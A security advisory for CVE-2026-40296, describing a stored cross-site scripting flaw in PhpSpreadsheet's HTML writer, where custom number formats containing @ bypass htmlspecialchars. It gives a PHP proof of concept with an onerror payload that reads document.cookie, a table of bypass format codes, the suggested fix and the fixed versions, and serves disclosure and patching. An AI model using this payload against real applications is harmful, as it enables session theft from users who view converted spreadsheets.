Advisory

GHSA-hrmw-qprp-wgmc

Also known as: CVE-2026-40296

Summary

PhpSpreadsheet has XSS via number format code with @ text placeholder bypasses htmlspecialchars in HTML writer

Details

It was discovered that there is a way to bypass HTML escaping in the HTML writer using custom number format codes.

The Problem

In Writer/Html.php around line 1592, the code checks if the formatted cell data equals the original data to decide whether to apply htmlspecialchars():

if ($cellData === $origData) {
    $cellData = htmlspecialchars($cellData, ...);
}

When a cell has a custom number format containing @ (text placeholder) with any additional literal characters, the formatter replaces @ with the cell value and adds the extra characters. This makes $cellData !== $origData, so htmlspecialchars() is skipped entirely.

Even a single trailing space in the format (@ ) is enough to bypass the escape.

Proof of Concept

use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;
use PhpOffice\PhpSpreadsheet\Cell\DataType;

$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();

// XSS payload with malicious number format
$sheet->setCellValueExplicit('A1', '<img src=x onerror=alert(document.cookie)>', DataType::TYPE_STRING);
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode('. @');

$writer = new Html($spreadsheet);
$writer->save('output.html');

The generated HTML contains:

<td>. <img src=x onerror=alert(document.cookie)></td>

The XSS payload is completely unescaped.

Tested Bypass Formats

| Format Code | Result | Escaped? |
|---|---|---|
| General (default) | Original value | YES (safe) |
| . @ | . + value | NO (XSS!) |
| @ (trailing space) | value + | NO (XSS!) |
| x@ | x + value | NO (XSS!) |

This was tested with PhpSpreadsheet 4.5.0 and confirmed the XSS executes in the browser.

Impact

Any application that:

  1. Accepts uploaded XLSX files from users
  2. Converts them to HTML using PhpSpreadsheet's HTML writer
  3. Displays the HTML to other users

...is vulnerable to stored XSS. The attacker embeds the payload in a cell value and sets a custom number format in the XLSX file's xl/styles.xml.

Suggested Fix

Always apply htmlspecialchars() regardless of whether formatting changed the value:

// Instead of conditional escaping:
$cellData = htmlspecialchars($cellData, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');

Or escape AFTER formatting, not conditionally based on equality.

Reporter
Keyvan Hardani

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2026-04-28 22:57 UTC
Modified
2026-05-08 19:50 UTC

Affected packages and fixes

phpoffice/phpspreadsheet

Packagist · All systems

Affected

  • introduced 4.0.0, fixed 5.7.0 (ecosystem)

Fixed versions

5.7.0

Fix

The export has no generic command for this ecosystem.

phpoffice/phpspreadsheet

Packagist · All systems

Affected

  • introduced 3.3.0, fixed 3.10.5 (ecosystem)

Fixed versions

3.10.5

Fix

The export has no generic command for this ecosystem.

phpoffice/phpspreadsheet

Packagist · All systems

Affected

  • introduced 2.2.0, fixed 2.4.5 (ecosystem)

Fixed versions

2.4.5

Fix

The export has no generic command for this ecosystem.

phpoffice/phpspreadsheet

Packagist · All systems

Affected

  • introduced 2.0.0, fixed 2.1.16 (ecosystem)

Fixed versions

2.1.16

Fix

The export has no generic command for this ecosystem.

phpoffice/phpspreadsheet

Packagist · All systems

Affected

  • introduced 0, fixed 1.30.4 (ecosystem)

Fixed versions

1.30.4

Fix

The export has no generic command for this ecosystem.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences